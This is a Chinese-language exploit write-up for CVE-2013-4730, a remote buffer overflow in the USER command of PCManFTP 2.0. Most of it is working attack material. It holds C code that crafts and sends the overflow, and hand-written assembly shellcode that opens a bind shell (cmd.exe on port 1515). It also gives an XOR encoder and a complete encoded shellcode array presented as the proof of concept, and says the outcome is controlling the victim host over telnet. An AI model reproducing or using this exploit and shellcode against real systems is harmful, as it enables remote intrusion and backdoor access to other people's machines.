PCManFTP v2.0(CVE-2013-4730)漏洞分析

软件名称:PCManFTP
软件版本:2.0
漏洞模块:PCManFTPD2.exe
模块版本:2.0.0.0
编译日期:2005-01-01 操作系统:Windows 7
漏洞编号:CVE-2013-4730
危害等级:高危
漏洞类型:缓冲区溢出
威胁类型:远程

1. 软件简介

PCMan’s FTP Server是洪任谕程序员所研发的一套FTP服务器软件。该软件具有体积小、功能简单等特点。
通过一个远程溢出漏洞实现开后门的操作

2. 漏洞成因

PCMan’s FTP Server 2.0.0版本中存在缓冲区溢出漏洞,没有正确验证用户提供的输入,远程攻击者可借助USER命令中的长字符串利用该漏洞执行任意代码。

3. 利用过程

3.1 前提
需要些一份能与FTP进行交互的代码:

WSADATA stWSA;
WSAStartup(0x0202, &stWSA);
// 2. 创建一个原始套接字
SOCKET stListen = INVALID_SOCKET;;
stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
// 3. 在任意地址(INADDR_ANY)上绑定一个端口21
SOCKADDR_IN stService;
stService.sin_addr.s_addr = inet_addr("127.0.0.1");
stService.sin_port = htons(21);
stService.sin_family = AF_INET;
connect(stListen, (SOCKADDR *)& stService, sizeof(stService));

// 4. 构造Exploit
char cExpolit[5000] = { 0x00 };           // Exploit容器
char cFill[5000] = { 0x00 };           // 填充字节
char cNOP[51] = { 0x00 };           // 滑板指令区
char cRetnAddr[5] = "\xE5\x28\xF4\x75"; // JMP ESP:0x75DFE555
memset(cFill, 'A', 2006); // 由Mona得到的偏移
memset(cNOP, '\x90', 50); // 少填充1字节,如果变量cNOP后面不为0x00,也会被当成字符链接进来
sprintf_s(cExpolit, "%s%s%s%s%s%s", "USER ", cFill, cRetnAddr, cNOP, bShellcode2, "\r\n");

// 5. 向FTP发送Exploit
char szRecv[0x100] = { 0 };
char *pCommand = "USER 

// 5.1 接受欢迎语
recv(stListen, szRecv, sizeof(szRecv), 0);
// 5.2 发送登陆请求
send(stListen, cExpolit, strlen(cExpolit), 0);
recv(stListen, szRecv, sizeof(szRecv), 0);
// 6. 关闭相关句柄并释放相关资源
closesocket(stListen);
WSACleanup();

3.2 Fuzz
运行Windbg,使用Mona插件生成一段3000字节长度的测试字符串,用于确定溢出点。
通过一个远程溢出漏洞实现开后门的操作
运行程序,触发溢出后,可用命令得到溢出点的偏移位置
通过一个远程溢出漏洞实现开后门的操作
通过一个远程溢出漏洞实现开后门的操作
接下来可以借助Mona在目标程序空间找到一个跳板指令“JMP ESP”,命令:!py mona jmp –resp –m “kernel32.dll”,由于我的Mona这个命令不好使,所以用X86dbg随便找了一个跳板指令。
通过一个远程溢出漏洞实现开后门的操作
3.3 ShellCode编写

	sub esp, 0x20;     // 开辟一段栈空间,增加健壮性
	push ebp;
	mov ebp, esp;
	//pushad;
	sub esp, 0x20;
	jmp ShellCode;
	// [tag_Next-0x25] "cmd.exe\0"
	_asm _emit(0x63)_asm _emit(0x6D)_asm _emit(0x64)_asm _emit(0x2E)
	_asm _emit(0x65)_asm _emit(0x78)_asm _emit(0x65)_asm _emit(0x00)
	// [tag_Next-0x1D] "ws2_32.dll\0"
	_asm _emit(0x77)_asm _emit(0x73)_asm _emit(0x32)_asm _emit(0x5F)
	_asm _emit(0x33)_asm _emit(0x32)_asm _emit(0x2E)_asm _emit(0x64)
	_asm _emit(0x6C)_asm _emit(0x6C)_asm _emit(0x00)
	// [tag_Next-0x12] "kernel32.dll\0"
	_asm _emit(0x6B)_asm _emit(0x65)_asm _emit(0x72)_asm _emit(0x6E)
	_asm _emit(0x65)_asm _emit(0x6C)_asm _emit(0x33)_asm _emit(0x32)
	_asm _emit(0x2E)_asm _emit(0x64)_asm _emit(0x6C)_asm _emit(0x6C)
	_asm _emit(0x00)
ShellCode:
	call Next;
Next:
	pop ebx;
	mov[ebp - 0x04], ebx;   // Local_1 = Shellcode BaseAddr
	mov esi, dword ptr fs : [0x30];
	mov esi, [esi + 0x0c];
	mov esi, [esi + 0x1c];
	mov esi, [esi];
	mov edx, [esi + 0x08];//dllbase
	//mov[ebp - 0x08], edx          // Local_2 = Kernel32.dll基址
	push edx;		// ImageBase   = Kernel32.dll
	push 0xC0D83287;// nHashDigest = LoadLibraryExA Digest
	call fun_GetFunAddrByHash;
	mov edi, eax                 // edi = LoadLibraryExA
		// 4. 加载Kernel32.dll,增强兼容新(Win7取得的是KernelBase.dll的基址)
		lea esi, [ebx - 0x12]         // eax = "kernel32.dll\0"
		push 0                      //  /-dwFlags       = 0
		push 0                      //  |-hFile         = 0
		push esi                    //  |-lpLibFileName = "kernel32.dll"
		call edi                    // LoadLibraryExA()
		mov[ebp - 0x08], eax          // Local_2 = Kernel32.dll基址
	// 5. 加载ws2_32.dll,以方便后面的网络通信编程
	
	lea esi, [ebx - 0x1D];        // eax = "ws2_32.dll\0"
	push 0;          //  /-dwFlags       = 0
	push 0;           //  |-hFile         = 0
	push esi;           //  |-lpLibFileName = "ws2_32.dll"
	call edi;           // LoadLibraryExA()
	mov[ebp - 0x0C], eax;        // Local_3 = ws2_32.dll基址
		// 6. 调用Payload部分
	push[ebp - 0x0C];      // ws2_32.dll基址
	push[ebp - 0x08];        // Kernel32.dll基址
	push[ebp - 0x04];        // BaseAddr
	call fun_Payload;
	// 7. Payload执行完毕,结束程序,防止被调试分析
	push[ebp - 0x08];     // ImageBase   = Param_2(Kernel32.dll)
	push 0x4FD18963;       // nHashDigest = ExitProcess Digest 
	call fun_GetFunAddrByHash;// fun_GetFunAddrByHash
	push 0;       //  /-uExitCode = NULL
	call eax;        // ExitProcess()
	mov esp, ebp;
	pop ebp;


fun_GetFunAddrByHash:
	push ebp;
	mov ebp, esp;
	sub esp, 0x20;
	push edx;
	mov edx, [ebp + 0xc];//参数 dllbase
	mov esi, [edx + 0x3c];//PE头的偏移
	lea esi, [edx + esi];//不能mov esi,edx+esi? PE头的VA
	mov esi, [esi + 0x78];//扩展头中的导出表结构体中的RVA
	lea esi, [esi + edx];//导出表在文件中的具体位置VA是一个结构体的首地址
	mov edi, [esi + 0x1c];//结构体中的函数地址表的RVA(AddressOfFunctions)
	lea edi, [edx + edi];
	mov[ebp - 0x04], edi;//函数地址表VA
	mov edi, [esi + 0x20];
	lea edi, [edi + edx];
	mov[ebp - 0x08], edi;//函数名称表VA
	mov edi, [esi + 0x24];
	lea edi, [edi + edx];
	mov[ebp - 0x0c], edi;//序号表的VA
	xor ecx, ecx;
	jmp tag_FirstCmp;
tag_CmpFunNameLoop:
	inc ecx;
tag_FirstCmp:
	mov esi, [ebp - 0x08];
	mov esi, [esi + ECX * 4];//函数名称RVA数组
	mov edx, [ebp + 0x0c];//ImageBase
	lea esi, [esi + edx];//函数名称VA
	push[ebp + 0x08];         //  nHashDigest = LoadLibraryExA Digest
	push esi;              // strFunName = ENT VA
	call fun_Hash_CmpString;
	test eax, eax;
	jz tag_CmpFunNameLoop;  // 如果不相等则继续循环比对
		// 3. 成功后找到对应的序号
	mov esi, [ebp - 0x0C];      // esi = Local_3(EOT)
	xor edi, edi;
	mov di, [esi + ecx * 2];     // edi = 用函数名数组下标在序号数组找到对应序号
		// 4. 使用序号作为索引,找到函数名所对应的函数地址
	mov edx, [ebp - 0x04];     // edx = Local_1(EAT)
	mov esi, [edx + edi * 4];    // esi = 用序号在函数地址数组找到对应的函数地址
	mov edx, [ebp + 0x0C];    // edx = Param_1(ImageBase)
		// 5. 返回获取到的关键函数地址
	lea eax, [edx + esi];      // 返回GetProcAddress的地址
	pop edx;
	mov esp, ebp;
	pop ebp;
	retn 0x08;
fun_Hash_CmpString:
	push ebp;
	mov ebp, esp;
	sub esp, 0x04;        // 开辟局部变量并清零
	mov dword ptr[ebp - 0x04], 0x00;
	push ebx;       // 保存用到的寄存器
	push ecx;
	push edx;
	mov esi, [ebp + 0x08];  // esi = Param_1(strFunName)(从ENT中的va)
	xor ecx, ecx;
	xor eax, eax;
tag_HashLoop:
	mov al, [esi + ecx];    // al = 字符串的第ECX个字符 
	test al, al;        // 判断是否为0,为0结束循环
	jz tag_HashEnd;
	mov ebx, [ebp - 0x04];  // ebx = Local_1(摘要)
	shl ebx, 0x19;     // ebx = 摘要<<0x19(25)
	mov edx, [ebp - 0x04];  // edx = Local_1(摘要)
	shr edx, 0x07;       // edx = 摘要>>0x07(07)
	or  ebx, edx;       // edx = ebx|edx
	add ebx, eax;       // edx = edx + 字符的ASCII
	mov[ebp - 0x04], ebx;
	inc ecx;          // ecx++
	jmp tag_HashLoop;
tag_HashEnd:
	mov ebx, [ebp + 0x0C]; // ebx = Param_2(nDigest)
	mov edx, [ebp - 0x04];  // edx = Local_1(摘要)
	xor eax, eax;
	cmp ebx, edx;
	jne tag_FunEnd;
	mov eax, 1;
tag_FunEnd:
	pop edx;
	pop ecx;
	pop ebx;
	mov esp, ebp;
	pop ebp;
	retn 0x08;

fun_Payload: //  (int BaseAddr, int Kernel32_Base, int ws2_32_Base)
	push ebp;
	mov ebp, esp;
	sub esp, 0x300;
		// 1. 初始化Winsock服务
	push[ebp + 0x10];         // ImageBase   = Param_3(ws2_32.dll)
	push 0x80B46A3D;        // nHashDigest = WSAStartup Digest
	call fun_GetFunAddrByHash;// fun_GetFunAddrByHash
	lea  esi, [ebp - 0x300];   // esi = WSADATA
	push esi;   //  /-lpWSAData         = WSADATA
	push 0x0202;         //  |-wVersionRequested = 2.2
	call eax;                  // WSAStartup()
	test eax, eax;
	jnz tag_PaloadEnd;
		// 2. 创建一个原始套接字
	push[ebp + 0x10];           // ImageBase   = Param_3(ws2_32.dll)
	push 0xDE78322D;          // nHashDigest = WSASocketA Digest 
	call fun_GetFunAddrByHash;// fun_GetFunAddrByHash
	push 0;          //  /-dwFlags        = NULL
	push 0;             //  |-g              = NULL
	push 0;             //  |-lpProtocolInfo = NULL
	push 6;              //  |-protocol       = IPPROTO_TCP
	push 1;               //  |-type           = SOCK_STREAM
	push 2;             //  |-af             = AF_INET
	call eax;           // WSASocketA()
	mov[ebp - 0x04], eax;     // Local_1 = SOCKET
		// 3. 在任意地址(INADDR_ANY)上绑定一个端口1515[0x05BE-->0xBE05]
	push[ebp + 0x10];       // ImageBase   = Param_3(ws2_32.dll)
	push 0xDDA71064;     // nHashDigest = bind Digest 
	call fun_GetFunAddrByHash; // fun_GetFunAddrByHash
	mov word ptr[ebp - 0x200], 0x02;   // / SOCKADDR_IN.sin_family = AF_INET
	mov word ptr[ebp - 0x1FE], 0xEB05; // | SOCKADDR_IN.sin_port   = 0xEB05(1515)
	mov dword ptr[ebp - 0x1FC], 0;    // \ SOCKADDR_IN.sin_addr   = INADDR_ANY       
	lea esi, [ebp - 0x200];      // esi = SOCKADDR_IN
	push 0x14;   //  /-namelen = 0x14
	push esi;           //  |-name    = SOCKADDR_IN
	push[ebp - 0x04];        //  |-s       = Local_1(SOCKET)
	call eax;         // bind()
	test eax, eax;
	jnz tag_PaloadEnd;
		// 4. 监听申请的连接,队列中可容纳5个链接
	push[ebp + 0x10];        // ImageBase   = Param_3(ws2_32.dll)
	push 0x4BD39F0C;     // nHashDigest = listen Digest 
	call fun_GetFunAddrByHash; // fun_GetFunAddrByHash
	push 0x7FFFFFFF; //  /-backlog = SOMAXCONN
	push[ebp - 0x04];    //  |-s       = Local_1(SOCKET)
	call eax;         // listen()
	test eax, eax;
	jnz tag_PaloadEnd;
		// 5. 接受一个连接;
	push[ebp + 0x10];      // ImageBase   = Param_3(ws2_32.dll)
	push 0x01971EB1;     // nHashDigest = accept Digest 
	call fun_GetFunAddrByHash; // fun_GetFunAddrByHash
	push 0;        //  /-addrlen = NULL
	push 0;       //  |-addr    = NULL
	push[ebp - 0x04];;        //  |-s       = Local_1(SOCKET)
	call eax;        // accept()
	mov[ebp - 0x04], eax;    // Local_1(SOCKET) = SOCKET
		// 6. 创建一个CMD进程,并将其输入与输出重定位到我们创建的套接字上
	push[ebp + 0x0C];     // ImageBase   = Param_2(Kernel32.dll)
	push 0x6BA6BCC9;     // nHashDigest = CreateProcessA Digest 
	call fun_GetFunAddrByHash;// fun_GetFunAddrByHash
	mov edx, eax;     // edx = CreateProcessA
	lea edi, [ebp - 0x90];       // / 清空STARTUPINFOA
	mov ecx, 0x11              // |     STARTUPINFOA
	mov eax, 0x00              // |     从[ebp-0x90]开始
	cld                       // |     到[ebp-0x48]结束
	rep stosd                 // |
	mov dword ptr[ebp - 0x90], 0x00000044 // | STA...A.cb      = 48
	mov dword ptr[ebp - 0x64], 0x00000100 // | STA...A.dwFlags = STARTF_USESTDHANDLES
	mov word ptr[ebp - 0x60], 0x0000      // | STA...A.wShowWindow = SW_HIDE
	mov esi, [ebp - 0x04]                // esi                   = Local_1(SOCKET)
	mov dword ptr[ebp - 0x58], esi        // | STA...A.hStdInput   = SOCKET
	mov dword ptr[ebp - 0x54], esi        // | STA...A.hStdOutput  = SOCKET
	mov dword ptr[ebp - 0x50], esi        // \ STA...A.hStdError   = SOCKET
	lea esi, [ebp - 0x90]        // esi = STARTUPINFOA
	lea edi, [ebp - 0x200]       // edi = PROCESS_INFORMATION 
	mov ebx, [ebp + 0x08]        // ebx = Param_1(BaseAddr)
	lea ebx, [ebx - 0x25]        // ebx = "cmd.exe\0"
	push edi                  //  /-lpProcessInformation = PROCESS_INFORMATION
	push esi                  //  |-lpStartupInfo        = STARTUPINFOA
	push 0                    //  |-lpCurrentDirectory   = NULL
	push 0                    //  |-lpEnvironment        = NULL
	push 0                    //  |-dwCreationFlags      = NULL
	push 1                    //  |-bInheritHandles      = TRUE
	push 0                    //  |-lpThreadAttributes   = NULL
	push 0                    //  |-lpProcessAttributes  = NULL
	push ebx                  //  |-lpCommandLine        = "cmd.exe\0"
	push 0                    //  |-lpApplicationName    = NULL
	call edx                  // CreateProcessA()
tag_PaloadEnd:

	mov esp, ebp;
	pop ebp;
	retn 0x0C;

}

编译成功后,通过X86dbg的复制ShellCode功能将机器码复制出来
通过一个远程溢出漏洞实现开后门的操作
由于原始ShellCode有字符截断的问题,需要加密ShellCode,代码如下

int nOutKey = 0x00;
unsigned char *pBuffer = NULL;
bool bComplete = true;
pBuffer = (unsigned char*)new char[nSize + 1];
for (int key = 0; key < 0xff; key++)
{
	nOutKey = key;
	bComplete = true;
	for (int i = 0; i < nSize; i++)
	{
		pBuffer[i] = pData[i] ^ key;
		if (0x00 == pBuffer[i] | 0x0A == pBuffer[i] | 0x0B == pBuffer[i])
		{
			bComplete = false;
			break;
		}
	}
	if (bComplete)break;
}
if (!bComplete) return false;
FILE *fpOutFile;
if (EINVAL == fopen_s(&fpOutFile, "encode.txt", "w+"))
	return false;
fprintf(fpOutFile, "/*Encode Key =0x%0.2X */\n", nOutKey);
fprintf(fpOutFile, "char bShellcode[] = \\\n\"");
for (int i = 0; i < nSize; i++)
{
	fprintf(fpOutFile, "\\x%0.2X", pBuffer[i]);
	if ((i + 1) % 16 == 0)
		fprintf(fpOutFile, "\" \\\n\"");
}
fprintf(fpOutFile, "\";");
fclose(fpOutFile);
delete[] pBuffer;

将解密代码放在ShellCode前面,可以通过

lea eax, bShellcode;
push eax;
ret;

来验证代码是否正确。
3.4 效果
最后通过控制台命令telnet可以实现操作对方主机.
通过一个远程溢出漏洞实现开后门的操作
通过一个远程溢出漏洞实现开后门的操作

4.PoC

 #define KEY  "\x18"     // Encode Key   = 0x07
 #define SIZE "\x81\x02" // Payload Size = 0x0136 0x281
char bShellcode2[] = \
"\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1B\x33\xC9\x66\xB9" \
SIZE "\x8A\x04\x0E\x34" KEY "\x88\x04\x0E\xE2\xF6\x80\x34\x0E" KEY \
"\xFF\xE6" \
"\x4D\x93\xF4\x4B\x4E\x4F\x9B\xF4\x38\x4D\x93\xF4\x9B\xF4\x38\xF3" \
"\x38\x7B\x75\x7C\x36\x7D\x60\x7D\x18\x6F\x6B\x2A\x47\x2B\x2A\x36" \
"\x7C\x74\x74\x18\x73\x7D\x6A\x76\x7D\x74\x2B\x2A\x36\x7C\x74\x74" \
"\x18\xF0\x18\x18\x18\x18\x43\x91\x45\xE4\x7C\x93\x2D\x28\x18\x18" \
"\x18\x93\x6E\x14\x93\x6E\x04\x93\x2E\x93\x4E\x10\x4A\x70\x9F\x2A" \

"\xC0\xD8\xF0\x26\x18\x18\x18\x93\xE0\x95\x6B\xF6\x72\x18\x72\x18" \ "\x4E\xE7\xCF\x91\x5D\xE0\x95\x6B\xFB\x72\x18\x72\x18\x4E\xE7\xCF" \ "\x91\x5D\xEC\xE7\x6D\xEC\xE7\x6D\xE0\xE7\x6D\xE4\xF0\xD5\x18\x18" \ "\x18\xE7\x6D\xE0\x70\x7B\x91\xC9\x57\xF0\x1F\x18\x18\x18\x72\x18" \ "\xE7\xC8\x93\xFD\x45\x4D\x93\xF4\x9B\xF4\x38\x4A\x93\x4D\x14\x93" \ "\x6A\x24\x95\x2C\x2A\x93\x6E\x60\x95\x2C\x0E\x93\x66\x04\x95\x24" \ "\x22\x91\x65\xE4\x93\x66\x38\x95\x24\x0F\x91\x65\xE0\x93\x66\x3C" \ "\x95\x24\x0F\x91\x65\xEC\x2B\xD1\xF3\x19\x59\x93\x6D\xE0\x93\x2C" \ "\x96\x93\x4D\x14\x95\x2C\x0E\xE7\x6D\x10\x4E\xF0\x38\x18\x18\x18" \ "\x9D\xD8\x6C\xFE\x93\x6D\xEC\x2B\xE7\x7E\x93\x24\x56\x93\x4D\xE4" \ "\x93\x2C\xA2\x93\x4D\x14\x95\x1C\x2A\x42\x93\xFD\x45\xDA\x10\x18" \ "\x4D\x93\xF4\x9B\xF4\x1C\xDF\x5D\xE4\x18\x18\x18\x18\x4B\x49\x4A" \ "\x93\x6D\x10\x2B\xD1\x2B\xD8\x92\x1C\x16\x9C\xD8\x6C\x0E\x93\x45" \ "\xE4\xD9\xFB\x01\x93\x4D\xE4\xD9\xF2\x1F\x13\xC2\x1B\xC0\x91\x45" \ "\xE4\x59\xF3\xFB\x93\x45\x14\x93\x4D\xE4\x2B\xD8\x23\xC2\x6D\x1D" \ "\xA0\x19\x18\x18\x18\x42\x41\x43\x93\xFD\x45\xDA\x10\x18\x4D\x93" \ "\xF4\x99\xF4\x18\x1B\x18\x18\xE7\x6D\x08\x70\x25\x72\xAC\x98\xF0" \ "\x29\xE7\xE7\xE7\x95\xAD\x18\xE5\xE7\xE7\x4E\x70\x1A\x1A\x18\x18" \ "\xE7\xC8\x9D\xD8\x17\x9D\xE7\x18\x18\x18\xE7\x6D\x08\x70\x35\x2A" \ "\x60\xC6\xF0\x16\xE7\xE7\xE7\x72\x18\x72\x18\x72\x18\x72\x1E\x72" \ "\x19\x72\x1A\xE7\xC8\x91\x5D\xE4\xE7\x6D\x08\x70\x7C\x08\xBF\xC5" \ "\xF0\xE8\xE6\xE7\xE7\x7E\xDF\x9D\x18\xE6\xE7\xE7\x1A\x18\x7E\xDF" \ "\x9D\x1A\xE6\xE7\xE7\x1D\xF3\xDF\x9D\x1C\xE6\xE7\xE7\x18\x18\x18" \ "\x18\x95\xAD\x18\xE6\xE7\xE7\x72\x0C\x4E\xE7\x6D\xE4\xE7\xC8\x9D" \ "\xD8\x17\x9D\xBA\x18\x18\x18\xE7\x6D\x08\x70\x14\x87\xCB\x53\xF0" \ "\xA9\xE6\xE7\xE7\x70\xE7\xE7\xE7\x67\xE7\x6D\xE4\xE7\xC8\x9D\xD8" \ "\x17\x9D\x9B\x18\x18\x18\xE7\x6D\x08\x70\xA9\x06\x8F\x19\xF0\x8A" \ "\xE6\xE7\xE7\x72\x18\x72\x18\xE7\x6D\xE4\xE7\xC8\x91\x5D\xE4\xE7" \ "\x6D\x14\x70\xD1\xA4\xBE\x73\xF0\x61\xE6\xE7\xE7\x93\xC8\x95\xA5" \ "\x68\xE7\xE7\xE7\xA1\x09\x18\x18\x18\xA0\x18\x18\x18\x18\xE4\xEB" \ "\xB3\xDF\x9D\x68\xE7\xE7\xE7\x5C\x18\x18\x18\xDF\x5D\x84\x18\x19" \ "\x18\x18\x7E\xDF\x5D\xB8\x18\x18\x93\x6D\xE4\x91\x6D\xB0\x91\x6D" \ "\xB4\x91\x6D\xA8\x95\xAD\x68\xE7\xE7\xE7\x95\xA5\x18\xE6\xE7\xE7" \ "\x93\x45\x10\x95\x43\xC3\x4F\x4E\x72\x18\x72\x18\x72\x18\x72\x19" \ "\x72\x18\x72\x18\x4B\x72\x18\xE7\xCA\x93\xFD\x45\xDA\x14\x18\x18" \ "";

相关文章:

  • 2021-09-27
  • 2021-12-25
  • 2021-04-17
  • 2021-08-27
  • 2021-11-23
  • 2022-02-19
  • 2022-12-23
  • 2022-02-09
猜你喜欢
  • 2022-12-23
  • 2021-12-01
  • 2022-12-23
  • 2022-01-17
  • 2021-06-08
  • 2021-10-25
  • 2022-12-23
相关资源
相似解决方案